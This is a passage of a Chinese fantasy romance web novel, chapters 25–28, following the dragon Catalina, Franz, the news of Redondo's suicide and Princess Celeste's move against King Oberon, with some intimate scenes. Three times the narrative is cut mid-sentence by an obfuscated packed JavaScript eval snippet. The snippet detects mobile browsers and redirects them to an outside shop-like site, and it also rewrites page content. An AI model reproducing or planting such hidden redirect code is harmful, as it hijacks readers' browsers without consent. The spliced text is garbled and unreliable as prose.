格里芬会如此主动接近卡塔利娜，显然也是想为自己博一个出路。他的主家显赫，然而他身为旁支却沾不到什么实际的好处。弗兰茨在学校读书的时候却常常听到旁人提到他的名字，他的成绩很好，教职人员也很欣赏他；甚至一度有传闻道，王廷政院的十二大法官中的某位有推荐他继续深造的意向，但不知为何最后深造的却是另一个人。 格里芬似乎也被这件事打击颇深，不久后就从学校退学，四处周游散心去了。直到去年冬季，他才重回王都的社交圈。 单从他热络地接近卡塔利娜这一点来看，格里芬与阿奇尔似乎没有任何区别；但他意有所指的话语，敏锐的洞察力，却让弗兰茨意识到格里芬绝对不是一个单纯的想要一步登天的漂亮蠢货，不得举荐一事并没有使他一蹶不振。 所以，他又藏有什么目的呢？ 夜色将近，宴会厅内欢歌乐舞不断，仿佛要将这场宴会一直举办下去似的。卡塔利娜用她那尖尖的指甲有一下没一下地敲着酒杯，发出“嗒嗒”的轻响。 那你又要来取什么呢？ 弗兰茨看着卡塔利娜的侧脸，她赤红的头发披散着如同永不熄灭的火焰，也像地心流淌而出的蓬勃的岩浆。 多么富有生命力的一头龙，弗兰茨看着她，渐渐失了神。 . 夜晚，弗兰茨徘徊在卡塔利娜门外，心情忐忑。大概是受了那只小木鸟的影响，他为卡塔利娜准备了一点东西，明明下定决心的时候很坚定，可到了门外却又开始犹豫。 不过卡塔利娜没给他犹豫的机会，她推开了门，示意弗兰茨自己进来。 “坐。”卡塔利娜道。 刚沐浴完，她的头发还是湿漉漉的，她从没有点燃的壁炉里拿起一块碎木块，低头轻轻地朝它吹了一口气。 不一会儿，木块的中心渐渐变形，颜色变得变深，火光燃起，淡淡的白烟从木块上冒出，很快便燃起了一团火焰。 卡塔利娜覆盖着细小鳞片的手不怕烫，她托着那团火，用它来烘烤头发。 水汽蒸腾，屋内变热了一点儿，弗兰茨看着卡塔利娜，感觉自己的脸颊也被烤得发烫。 “怎么了？”察觉到弗兰茨一直在看自己，卡塔利娜问道。 25. 第 25 章 卡塔利娜的语气很平淡，弗兰茨不由得脸热。 她的语调虽然都差不多，但相处久了以后，其间的轻重变化都透露着卡塔利娜不同的情绪。 而此时，她似乎并没有亲近的意向。 弗兰茨有些羞恼，不是对卡塔利娜，而是对自己——对自己情绪变化的不安，对自己丨情丨欲丨渐起的恼怒。可就算卡塔利娜此时并没有亲近的想法，弗兰茨还是强忍住耻意，硬着头皮向她推荐道：“我……准备了一点东西。” “东西？”卡塔利娜挑了一下眉毛，“给我的？给我看看。” 他解开扣子，敞开衣襟，露出给她的“礼物”。 卡塔利娜细细地观赏了一遍，又上手感受了一遍，有着细小鳞片的指腹在上面一轻一重的摩擦。她看着弗兰茨的脸一路红到了胸口，慢慢地笑了起来。 她将那枚由袖扣改造的小玩意取了下来，真情实意地评价：“你真的很适合。下次用宝石试试吧。” 弗兰茨几乎不敢看她，他眼神躲闪，拼命想要抑制住喉咙里细碎的声音。 卧房里，温度渐渐升高，一个突兀的声音忽然在门外响起—— “亲爱的女士，请宽恕我的打扰。” 格里芬华丽的声音透过木门模糊地传来，弗兰茨惊慌地向后一坐，又听到格里芬深情款款地说话：“在下——啊！” 短短一句话还没说完，格里芬突然闷哼了一声，再也没发出声音了。 弗兰茨错愕地与卡塔利娜相视一眼，拢好衣襟，缓缓站了起来。 正当他想推门察看时，门外又传来另一人的声音：“卡塔利娜女士，我是埃莉斯·谢利，今日下午曾见过一面。我并无恶意，只是有些事情我必须要弄清楚。” 谢利小姐？ 她怎么会在这里，又有什么事情需要今晚知晓？ 弗兰茨感到意外，他偏头去看卡塔利娜，她姿态悠闲地坐在扶手椅上，似乎也不清楚事态。 “卡塔利娜女士——” 急促地敲门声又响了起来，弗兰茨庆幸这一层只有卡塔利娜居住，不然今晚这几番动静，早已惊动旁人围观。 “需要我开门吗？”弗兰茨问她。 卡塔利娜歪了歪头，靠在椅背上伸直了腿，语气随意道：“再等等吧。” “——女士，”敲门声停止片刻，谢利的声音再次响了起来。 这一回，她的语调更加稳重克制，也将自己的态度表明了出来，直到此时，卡塔利娜才冲弗兰茨点了点头，示意他：“去吧。” 弗兰茨推开门，看到神情焦急的谢利小姐和被她打晕在旁的格里芬，暗暗咋舌。 听见开门声，谢利紧张地抬头，却对上了弗兰茨的脸，她不由得吃了一惊，两人面面相觑，半晌，谢利一副“管不了那么多”的样子，拖着被她打晕的格里芬就往门里挤。 而那头红龙，正悠哉游哉地躺在扶手椅里有一下没一下地晃着脚尖。 “卡塔利娜女士——”谢利向前冲了两步，才想起自己手里还攥着格里芬的衣领，她把他往弗兰茨身上一推，随后又望向卡塔利娜——一头也许知道事情真相的红龙。 一头真正的龙。 因此谢利心中急切，她也不敢催促她。她先是对她行了一个礼，才恭敬又严肃地开口了。 她先是简略介绍了一番她焦急的原因——堵在门口大献殷勤的格里芬是直接影响，雷东多的遗书更是主要原因。 雷东多的遗书？ 雷东多死了？ 弗兰茨不可置信，但谢利沉重的眼神和话语证明这并非一场骗局：“对，雷东多去世了，他是自杀的。” 谢利犹豫地看了弗兰茨一眼，但她既见卡塔利娜没有叫弗兰茨回避，又想到他们二人先前比较亲密的动作，默认了弗兰茨的存在，继续说了下去。 她的确如弗兰茨猜测那般，虽然身为使团使者，但却因为身份没有收到陛下的密令，不过是一个充当混淆视听的存在。然而陛下未能料到谢利与雷东多身份不同，可都来自王国南部的一个城市；身在王都却能遇见同乡人，两人的关系自然地被拉近。 尽管雷东多没有告诉谢利国王密令的具体内容，但他也在出发前提醒她小心谨慎，直到他们横渡白沙海时遭遇风暴，谢利受伤在格兰德城休养，雷东多则继续往龙穴进发。 行赏结束后两人在金水仙公馆重逢，行赏成功明明值得庆贺，但谢利却发现雷东多心事重重，无论她如何试探，他连一句都不肯吐露。这样的状态一直保持到卡塔利娜突然到来的那个夜晚，雷东多面色惨白，谢利以为他只是被红龙吓到了——毕竟那天下午，又有谁不害怕？ 可是宴会结束后，雷东多在公馆□□的花园里喝得酩酊大醉，意外地向她吐露出这些天他忧虑的事——他在行赏路上杀了一个无辜的格兰德城人。 她十分震惊，因为她知道雷东多尽管因为沉默寡言而显得样貌阴沉，但他心地柔软，不然也不会在出发时提醒她，怎么会无缘无故地就杀了一个人？ 谢利不敢相信，她一直等到雷东多酒醒，向他追问到底怎么一回事，雷东多却突然崩溃大哭，求她不要再问。 “这会害死你的，”谢利从未听过这样凄厉的哭声，他就像荒野里游荡的野兽一样哀嚎，面部肌肉似乎因为忍受了太久导致他哭起来时显得格外扭曲，“我要死了，我真的要死了！我们就不应该去行赏！这所谓的荣耀正在害死我们每一个人！” 他哭了许久，哭到最后起身送她离去的力气都没有了。 谢利担忧地离去，第二天再来拜访时却发现雷东多已经自绝于桌前，桌上放着一封遗书。 “他是怎么……”听到这，弗兰茨不由得发问。 “……他将写遗书的笔拆开了，将笔尖吞了下去。”谢利看了他一眼，叹了一口气道。 在发现雷东多自缢后，谢利当即找到了公馆管事和治安官员，可是她没想到的是在雷东多的遗体被悄无声息地带走后，一切又重回新回到了平和之中，仿佛什么也没有发生过。她去追问后续处理以及是否有专人前来调查，监察官却以事件还在进一步调查中为由微笑着拒绝了她。 而公馆里的其他人，都因为接下来的宴会完全忽略了雷东多消失的事。谢利意识到这件事的发展超出她的预料，再结合红龙突然降临以及她到来后所说的话，心底的不安飞速漫延。 为什么雷东多会在行赏途中杀人？为什么红龙会突然到来并指出有人要谋杀她？为什么伍德被当场关押，其他前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002930|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往龙穴的使者相安无事？ 这是否意味着红龙说的是真的，而雷东多杀人也与这件事有关？ 如果这些猜想是正确的，那么雷东多遗书上的内容也就说得通了。 为什么他表现得如此痛苦，遗书上却写着感恩被选为使团使者；为什么他会说“会被荣耀害死”，却剖白自己愧对陛下的信任无法承受这沉甸甸的光芒。 因为谋杀红龙不是伍德独一人的主意，这背后一定有更高权力的人在指使；所以雷东多至死也无法将真相说出，他只好带着愧作与痛苦投向死亡的怀抱。 “所以，你想要确定什么？”沉重的气氛里，卡塔利娜轻松地靠在椅背上，漫不经心地问。 谢利沉沉地叹了一口气，她看向卡塔利娜，看向这头强大的红龙。 这真是荒诞，她竟然要向一个异族来确定关于自己人的猜想，然而先前在“自己人”中屡屡碰壁的事实让她意识到，真相只能从卡塔利娜处知道。 “我想要向您确认，我的猜测是否正确，我想要确认雷东多是否杀害了一个格兰德城人，想要确认想要谋杀您的是否不止伍德一人，他的背后是否还站着更高的操纵者，这次行赏，以及我们这些不知情的人，是否只是一个幌子？而您，是否早就知道这一切？” 听完这话，卡塔利娜抬眸瞥了一眼谢利，她正毫无畏惧地盯着自己。 卡塔利娜勾了勾唇，夸赞道：“你很敏锐。” 她的猜测是真的！ 怪不得……怪不得！ 谢利重重喘了几口气，头脑一片空茫。弗兰茨虽早已猜想到事实，但亲耳听到卡塔利娜的承认还是让他心底震荡。 两人各自思忖，卡塔利娜则十分悠闲。在这沉默如水的氛围中，一个突兀的呻丨吟声响起。 “呃啊……”格里芬挣扎着睁开眼，只觉得后脖颈处一跳一跳的疼。 他迷茫地环顾四周，发现自己正被几双眼睛注视着。 谢利小姐，罗兰先生，以及——卡塔利娜女士——一头红龙。 我怎么会在这儿？他们为什么看着我？ 格里芬揉着后颈，从地上坐了起来，他打量了一下环境，意识到自己正在红龙的卧房内。 我刚刚……啊，对，我刚刚是在卧房门外，然后我进来了。 我进来了？！ 格里芬眼皮一跳，余光瞥见一道黑影闪过，他急忙往后一倒，堪堪躲过了那道劲风——谢利一拳砸到地上，发出“砰”的一声响。 格里芬吓了一大跳，他虽然不知是什么情况，但凭此他就可以肯定，刚刚打晕他的人正是眼前的谢利小姐。 可是，她为什么要打晕他？ 格里芬挡住谢利打来的第二拳，形容狼狈，语调却很热切：“谢利、谢利小姐，我是来找卡塔利娜女士说一些私密话的呀，谢利小姐你这是在做什么？刚刚插了我的队，现在又看我不顺眼了？” 他调侃完谢利，又转头看向卡塔利娜：“还是说卡塔利娜女士，您比较喜欢热闹一点的？” 这话说得也太粗鲁了，弗兰茨皱了皱眉，他上前两步，却被卡塔利娜的话拦住了。 “我是喜欢热闹，”卡塔利娜对他笑了笑，“论到你了，来说点热闹的事吧。” 26. 第 26 章 此话一出，卧房里的其余三人不由得都噎了一噎。 谢利和弗兰茨面面相觑，格里芬则有些犹豫。他自诩心思通透，可遇到卡塔利娜以来，他的所有手段，所有语言，似乎完全失效；他看不透她，也不明白她。 在宴会厅里她的言行冷淡，在卧房里却来了兴致。如果仅是这样，倒也不至于让他头疼，可她面上表现得很感兴趣，却没有让另外两人回避的意思。 而他要说的话，显然不是旁人可以听的。 格里芬心中思绪万千不过呼吸一瞬，他眨了眨眼，摆出一副纨绔的样子，故意用更露骨的话暗示道：“热闹的话，不如热闹的事。” 他往前凑了两步，想去握卡塔利娜的手，却被弗兰茨按住了肩膀。不出意料地被阻拦，格里芬撇了撇嘴，又十分热情道：“两位还不离开，是想同我们一道热闹热闹吗？” 这番话的意图实在明显，谢利觉得恶心，她向卡塔利娜告辞后离开，而弗兰茨仍站在原地，面色难看。 除却某位潜在的暗示，卡塔利娜强大的力量，目中无人的气势，本身就十分吸引人的目光，能吸引一些人献身自然也不例外。 昨日他可以靠身体挽留卡塔利娜，赶走门外的阿奇尔；可是今天，格里芬已经入侵到卧室内，卡塔利娜又似乎对格里芬很感兴趣，这让弗兰茨心中生出许多别样的情绪，既复杂又难堪。 按照卡塔利娜的脾性，他应该出去将空间留给两人；但现在即使心中酸涩，他依旧站在原地，沉默且固执。 两人心思不同，表情却同样精彩。 卡塔利娜将这一切都看在眼里，她看着弗兰茨抿紧的嘴唇，看着他落在地上落在门上就是不落在她身上的眼神，忍不住哈哈大笑起来。 她向来我行我素，大笑的时候也丝毫不控制声音。她笑得响亮，招得两人不知所措地看向她。 过了好一会儿，卡塔利娜终于笑够了，她收了戏弄的心思，变回面无表情的样子，对格里芬开口了：“我能闻到你身上的味道，没有情丨欲。你的主人有什么话要你说就直说。” 收了笑容的红龙让人生畏，格里芬下意识将身上那层嬉笑的面具摘了下来。 他犹豫了一下，尽管他先前并没有和卡塔利娜接触过，但她已然看穿了他，现在再装出一副不知情的诧异样未免也太傻。想到这儿，格里芬轻声道：“她说‘格兰德城人已经到来’。” 格兰德城人已经到来？ 弗兰茨心中一跳，此时，他已意识到格里芬和阿奇尔不同，他并不是前来“献身”，而是来传递信息的。 但是，他为谁传递信息？“格兰德城人已经到来”又是什么意思？ 心中正疑惑着，卡塔利娜又说道：“所以呢？需要我行动了吗？” 格里芬顿了一顿，显然他仍未适应卡塔利娜直白的说话方式，但为了他背后的主人，他不得不硬着头皮回答：“是的，女士。她的意思，是希望您明日行动。” “希望。”卡塔利娜哼了一声，让人听不出她到底是答应还是不答应。 格里芬背后开始冒汗，他咬咬牙，艰难开口道：“然后，她还有一个祝福想要给您——祝您早日获得您想要的。” 这听着像一个美好祝愿，但卡塔利娜的脸色一下子沉了下来。 格里芬见了汗如雨下，弗兰茨也不敢说话。 凝固的空气里，两人大气也不敢出一声，直到卡塔利娜冷冷的一句：“滚吧。” 格里芬才如释重负般滚出了卧房，弗兰茨则犹豫着走上前。 “卡塔利娜……”他下意识轻声唤她，心里还没有想好要说什么，胳膊却被她一把攥住往前一拽。 她的力道很大，攥得他有点疼，但他的眉头也不曾皱一下，顺着她的力道走到她身前。 卡塔利娜显然怒火未消，她目光沉沉地盯着弗兰茨，攥着弗兰茨的手一言不发。 覆盖着鳞片的手很硬，当它在人的皮肤上摩擦时会带来细小的疼痛，弗兰茨没有试图挣脱，而是温顺地任由卡塔利娜收紧力道。 卡塔利娜仔细地打量着他，这目光不包含爱欲，也不藏有温情，她是一头猎食的野兽，冰冷地审视着她的猎物。在这样的目光下，弗兰茨没有躲闪，他坦然地承受着她，如此顺从，仿佛她要什么，做什么，他都会答应—— 她几乎要就此开口了，但她还是停了下来，善于伪装的猎物不是没有遇到过，尽管她已经占有了他的身体，也不能保证万无一失。 明明是她先生出这样的念头，但突然觉得很没意思的是她，重燃怒火的也是她。 如果在以前，遇上这么复杂的猎物她早就一口吞吃了以绝后患，可现在，她没有拿到她想要的东西自然不能这么做。 卡塔利娜心里不痛快，动作起来更是没轻没重毫无顾忌，她啪一下甩开了弗兰茨的手，站起来直挺挺地往床上倒去。 她没去管他，安静的卧房里有两道浅浅的呼吸声交错响起。 过了一会儿，他还在这儿，她不满道：“你还在这里做什么？” 说这句话时卡塔利娜没起身看他，但听见他轻轻地叹了一口气，然后慢慢靠近。 “你很生气。”他的语调轻柔，可是动作却比以前大胆不少。 谁给他的胆子？卡塔利娜懒得瞪他，她料他不敢做什么，然而随后她就感受到他唇舌温柔的伺候。 她微微吃了一惊，很快又舒舒服服地接受了这样的示好。怒火泄掉一半，欲丨火却也懒得燃起来。卡塔利娜轻飘飘地瞥了弗兰茨一眼，他满脸通红，嘴唇水润，眼神倒还是一如既往地飘忽。 她哼笑了一声，觉得他的动作的确是大胆了不少，别的却也没有变化。 卡塔利娜翻了个身，现在舒坦了的是她自己，他难不难受她可管不着。弗兰茨也没有向她求欢的意思，只是顺势在她身边躺下了。 这一回，她终于舍得分一点注意力给他，见她看过来，弗兰茨对着她轻轻地笑了笑。灰蓝色的眼睛像静谧的湖水，他笑起来，湖水便微微泛起涟漪。 这很讨厌。 卡塔利娜想要伸手捂住弗兰茨的眼睛，但她却没有动作。她看着他，看他还有什么要说要做的。 “亲爱的卡塔利娜女士，”弗兰茨模仿着其他人称呼她时的语调，自己先忍不住笑了一下，他急忙用回自己的腔调，“你能允许我亲吻你吗？” 卡塔利娜没有说话。 和以往一样，她其实在表示“可以”，但眼前这个人似乎像忘记了她的习惯，又或者说这次他故意要她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012915|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口。 没有人可以戏弄一条龙，卡塔利娜踹了弗兰茨一脚，收获了他轻轻的吸气。 “好吧。”他说，然后轻轻地向她靠近。 不知最后是谁先触碰，两人的嘴唇终于贴到了一起。 弗兰茨紧张地闭着眼，仅仅只是嘴唇触碰，他的脸就先烧红了。 “张嘴。” 他感受到卡塔利娜的嘴唇贴着他命令他。他下意识睁开眼，一只手捏住了他的下颌，卡塔利娜的舌头就强势地入侵到他的口腔。 很奇怪，他明明不是第一次与卡塔利娜亲吻，激烈程度也比不上之前，可他的心跳却比先前任何一次都跳得热烈。 他下意识想要逃避，可卡塔利娜已经牢牢地抓住了他，他想要喘息，但卡塔利娜的吻密不透风，几乎要将他吞进肚子里去了。刚刚才消下去的丨谷欠丨望又有渐起的趋势，弗兰茨想要隐藏，然而卡塔利娜正按着他，逼他将一切袒露在她的眼前。 他们亲吻的时间并不算长，弗兰茨却觉得好像又喝了一回从“贝莉的金杯”倒出来的美酒，醉醺醺的，连视野都变得朦胧。 缓了好一会儿，弗兰茨慢慢睁开眼，见卡塔利娜表情古怪地盯着他，心中不由得一紧。 怎么了？ 他想问她，是自己哪里没有做好导致体验感一般，还是她觉得自己的举动冒犯了她？ 他张了张口，却没敢问出来。 弗兰茨这边还在紧张，那边卡塔利娜心底生出几分奇怪的感觉。 有一点儿痒，又有一点儿热。 这样的感觉太过新鲜，以至于完全占据了她的心神，将今晚早些时候不愉快的事情都快忽略了。 两人面对面静静地躺了一会儿，卡塔利娜突然开口了。 她评价他：“你今晚很大胆。” 她的语气平和，似乎没有指责的意思。 不等弗兰茨开口，她又道：“是什么让你这样？因为今晚？” 弗兰茨轻轻笑了一下，他望着她明黄色的眼睛，望着她脸上小小的雀斑，心中微微一叹。 她很敏锐，但她还不明白。 她不明白他的嫉妒，她不明白他的患得患失，她不明白他难得大胆的行为下藏着一颗小心翼翼试探的心。 但这并不怪她，因为他也不明白。 他完全可以预料到，她做完想要做的事，拿到想要拿的东西后，一定会毫不留情地离开。他是她解闷的用品，他是她尚可接受靠近的人，与旁人相比，她或许对他留有一些情感，但当她的旅途结束，他自然也会被她落下。 他悲观地看待即将发生的未来，他预知自己要与她分开，可尽管如此，他仍想要开口：“和我有关的，你想要得到什么呢？” 他知道她得到后就会离开，但他仍想要帮助她，让她得到她想要的。 ——这就是他不明白的地方。 他不明白这样的举动明明不利于他，明明违背他受过的教育，他为何做地心甘情愿；他不明白他们之间到底算什么关系，让他一次又一次地臣服于她。 这太过奇怪。 但他知道她不会告诉他，她到底要拿到什么，于是他换了一个话题，问道：“你明天会按照塞莱斯特殿下‘希望’的那样行动吗？” 27. 第 27 章 听到这句话，卡塔利娜看了他一眼。 “你如何知道是她？” “知道”，而不是“猜到”。 卡塔利娜将答案给得直截了当，弗兰茨也不加以弯弯绕绕的掩饰。 “很多方面，看似你们毫无交集，实际上有很多细枝末节的地方。比如她与格里芬出身于同一位导师，比如她在使团临行前和归来后那些似是而非的话，比如我会被选为使团使者，又比如你的突然出现，”弗兰茨轻声道，“你有想要的东西，她也一定有所企图。你与人类百年前就有过交集，甚至还给予了杜兰德女士一枚鳞片，现在与塞菜斯特合作自然也不意外。” 弗兰茨的猜想可以说是相当准确，卡塔利娜听了却“噗”一声笑了出来。 “怎么了吗？”弗兰茨眨了眨眼，他以为自己有什么错得离谱的地方招她大笑。他原本觉得自己会不好意思，但当他看着卡塔利娜的眼睛流露出纯粹笑意的时候，他也不由得想要微笑起来。 “是什么让你觉得我送了杜兰德一枚鳞片？”卡塔利娜反问道。 “因为……”弗兰茨顿了顿，像是想起了什么似的耳尖微微泛红，“因为她的手札上曾记载过不是吗？而且之前相处的时候，我看到你的胸口，有一道浅浅的疤痕。那是鳞片剥下来后留的伤疤吗？” 卡塔利娜收敛了笑意，她静静地凝视了弗兰茨几秒，才否定道：“不，给杜兰德鳞片的红龙不是我，百年前与拜里科斯交好的红龙也不是我。我只是她的后裔而已。” 她的话很短很简洁，信息量却很大，弗兰茨还未能完全消化，卡塔利娜已经平躺着睡着了。 这是如此平静的一个夜晚，尽管今夜这间卧房里发生了许多出人意料的事情，软风与花香仍从窗外飘了进来充盈着整个房间。 如果按照格里芬所说的那样，卡塔利娜与塞莱斯特殿下将有一场行动。 具体是什么样的行动，何时展开，如何展开，弗兰茨不甚清楚，但究竟是为了什么，他却猜得七七八八。 奥伯伦·温德米尔试图通过如山的书籍、王国内的美景让他的第一顺位继承人远离权力中心，又将她身边的女官一一调走，让她缺少可以信任的属下。但从现在看来，事与愿违，塞莱斯特从书本中撷取前人智慧的果实，用脚步丈量王国真实的风情，野心与欲望随着她的见闻日益增长。 现任国王日渐衰老、行为放纵，国库入不敷出，无论是为了王国的将来还是为了她自己，寒莱斯特必然会生出与他博弈较量，其至取而代之的心思。 这在历代王室中并不少见。 塞莱斯特的目的好猜，可卡塔利娜为什么选择与她合作却没那么容易想明白。 她是一头红龙，鳞片坚硬又力量强大，她能够喷出炙热的火焰，还能指示忠心耿耿的龙牙战士。如果拜里科斯她有想要的东西，她大可以大摇大摆地命令，或者直接了当地取走，为何还要兜一个圈子，还不一定能够得到呢？ 弗兰茨不解，他看着卡塔利娜陷入睡眠时平静的侧脸，不由得回忆起他与她相遇以来的点点滴滴。 她挑起的眉毛，她面无表情地开口，她按着他的肩背逼迫他翻越城墙，她将他扛在肩上带出塌陷的密道，她不语，她哼笑，她像一个旁观者审视着众人，挑选她觉得有意思的人，插手她想要插手的事。 按照这样的行为准则，卡塔利娜想要的东西要么只是她贪玩搅浑水的一个借口，要么就是重要到她必须亲自来取一趟不可，而且为了确保万无一失，不能冒失地直接使用武力强取的东西。 你到底想要什么呢？ 夜渐渐深了，鸟叫虫鸣也逐渐淡去，只有花香如故。 弗兰茨静静地凝睇着她，他伸出手想要轻轻地碰一下她，半晌，还是将手收了回来。 . 翌日午后，王宫珍奇花园内。 这是阳光明媚的一天，宴会照常举行，只不过举行的地方从室内换到了室外。 这是为了能让大家尽情地享受初夏的风光，奥伯伦·温德米尔是这样解释的。 弗兰茨仍站在卡塔利娜的身边，默默地看着格里芬花枝招展，装模作样地扮演殷勤男子。 “行动”究竟什么时候开始，尚未可知，但弗兰茨估计他们会在人多的地方与国王对峙。 这样想着，他环顾四周，花园内热闹非凡，交谈声、音乐声混合着欢声笑语洋溢其间。 “天气这么好，老是沉默可就不合时宜了，罗兰先生。”还在思忖，格里芬的声音就热切地飘了过来。 “看您一直跟在卡塔利娜女士的身边，你们是如何认识的？”格里芬继续问道。 昨天出于卡塔利娜的威迫，格里芬不得不当着弗兰茨的面将真实的话说出来。尽管那话十分隐晦，但格里芬心中仍有不安。 谢利直接被他的话恶心走了，说明她显然对内情并不了解，只是恰好遇上；但是弗兰茨不一样。 卡塔利娜与他之间的互动比旁人要多上不少，在他赶走埃莉斯·谢利时卡塔利娜只是旁观，并没有阻拦；但在他试图赶走弗兰茨·罗兰时，她却打断了他的话。 这是否意味着弗兰茨对他们的行动了解不少？还是说她只是等得不耐烦了，并不在乎他们的行动泄露与否？ 为确保行动万无一失，格里芬必须将每一个关键点都确认到位。 “托您主人的福。”弗兰茨看了格里芬一眼，对格里芬的试探大致也能预料得到。 不过他的话原本可以更友好一点，但一想到昨晚卧房里那场假意的献身，他就有些难以自抑地讽刺了回去：“还是在她的帮助下让我们相识的。” 格里芬虽为塞莱斯特筹谋，但他对行赏途中发生过的事情并不是很了解。原本也没有什么人知道，他也不清楚卡塔利娜是在“行赏”途中以向导的身份加入队伍的。 他只是以为他们只是在龙穴里仓促见了一面，然后就因为弗兰茨的身份和脸蛋导致他们的关系莫名其妙亲近起来。 所以，弗兰茨刚刚这句话是什么意思？这与塞莱斯特殿下又有什么关系？ 但弗兰茨的意思可不是格里芬误会的那样，事实是塞莱斯特殿下与卡塔利娜达成了某种协议，弗兰能成为使团使者也是她在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016029|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推波助澜。 这样一想，他能与卡塔利娜认识也多亏了她的“热心肠”。 两个人一来一回地交锋，卡塔利娜则挑着餐台上的点心吃，吃没几口就换一个，等到餐台上的每个品种她都尝过一遍后，她露出了索然无味的表情。 弗兰茨见了只觉得好笑，耳边纷纷嚷嚷的动静他也就听得不真切了。 “奥伯伦·温德米尔——！” 直到一个颇为熟悉的声音在耳边炸起，惊得弗兰茨侧头去看，发现来者竟是几位格兰德城人！ 直呼国王的名讳不加任何尊称、贸然闯入的几道人影让宴会欢乐的氛围戛然而止，众人诧异地惊呼，齐齐回头张望却被他们手中的利剑吓得让出一条路。 见到下达指令的罪魁祸首，佩斯显然激动异常，她冲在最前面直直地往国王面前逼去：“你这个利欲熏心、假公济私的自私鬼！表面上为了拜里科斯荣耀，实际只在乎自己利益的小人！你打着选拔使者为名头敛财，又将这些不知情的冤大头送去受死！这些使者都以为是去行赏，实际上都是你谋杀红龙的幌子！” 佩斯步步紧逼，身体因为激动不住地颤抖：“而那些收到了密令的人！你用语言和权势粉饰，引诱他们去完成不可能完成的任务——去杀一头龙！你不敢随意使用‘贝莉的金杯’，所以你将他们推向了深渊！杀死一头红龙，盗取它的宝库，你——害死了这么多人！这是一位国王应该做的事吗！” 佩斯的呼喊掷地有声，内容又十分骇人，周围的人们动都不敢动一下，他们互相交换了几个眼神，彼此都觉得短短几天就听到两场爆炸性秘闻实在震撼。 奥伯伦将这一切都尽收眼底，此刻，他竟十分镇定，不像卡塔利娜到来时那般惊慌。他高傲地微笑，注视着佩斯以及她身后的几个格兰德城人，仿佛在看几个小孩子无理取闹。 这样的风度无疑感染了周围的臣民，他们将疑惑地眼神投射到闯入花园里的几人身上。 “这几位——”奥伯伦对着他们抬了抬手，“为何闯入王宫里大肆喧哗呢？如果你们想要鸣冤，难道不该先报上你们的身份姓名，再来陈述具体的事情吗？切莫用谎话与谣言煽动拜里科斯人的内心，因为在场所有人都知道，这对他们起不了作用！” 这一番话实在漂亮，花园里的臣民们蜂群似的嗡嗡叫了起来，奥伯伦一挥手，叫来近卫就要将这群不速之客抓起来：“罗斯！” “我的陛下。” 沉默寡言的近卫由奥伯伦身后出现，他自觉胜券在握，不由得微微一笑，却不料一股寒意悄无声息地贴上了他的脖颈。 那是利剑的寒锋。 “你这是在做什么！？” 在众人齐齐惊呼声中，奥伯伦低声痛斥，鬓角却不自觉地冒出一点薄汗。 他在思索到底哪里出了问题，一个阴沉的低低的声音就从一旁传来。 “我亲爱的哥哥——”塞莱斯特从花门中走来，这位有着亲王名头却总被人忽略的女人穿着一身利落的骑装，她与那些格兰德城人一样手持一把利剑，向奥伯伦走去，“你实在是太自大了。” 28. 第 28 章 “塞莱斯特……” 见到来者，奥伯伦·温德米尔不怒反笑。 他看着他的妹妹，用一种怜悯怜爱的目光看着她，仿佛他身处的不是什么情况危急的政治现场，而是兄长教训顽劣的妹妹，以慈悲之心教导她远离挑拨离间的小人，重回正道的书房：“你实在不该这么做的，我亲爱的妹妹。你如此年轻，又这么天真幼稚，尽管你渴望权力——温德米尔家的人都是如此，我并不计较你使用阴谋，也不计较你萌生篡位的念头，我并无子嗣，这个王座本就该由你继承。但是—— “傻姑娘塞莱斯特，看看你的周围吧，几个一头热闯进宴会厅的傻子，一个之前就背叛了你的叛徒。如果这就是你的能力，如果这就是你与我博弈的筹码，那么你也太叫我失望了，这个王座倒不如交由旁人来坐。” 塞莱斯特并无言语，奥伯伦只当她想不出反驳的话，又对把剑架在他脖子上的罗斯道：“双面间谍？还是摇摆不定的墙头草？罗斯，我一向认为你比伍德更聪明，更会审时度势，没想到你比他还要愚蠢，还看不清形势。你在背叛了旧主后现在又归顺于她，先不谈你们是否会成功，你觉得有你这样两边倒的行为在先，塞莱斯特还会那么信任你吗？” 奥伯伦的话如细小的针往人身上最脆弱的地方上扎，但罗斯不为所动，她握着她的剑，紧紧地盯着他：“不是所有关系都可以为利益所改变的，我的陛下。您的恶行已犯下太多，是时候向大众揭露您的丑恶了。” 奥伯伦脸上的肌肉抽搐了几下，他还想说些什么，却听见塞莱斯特开口了。 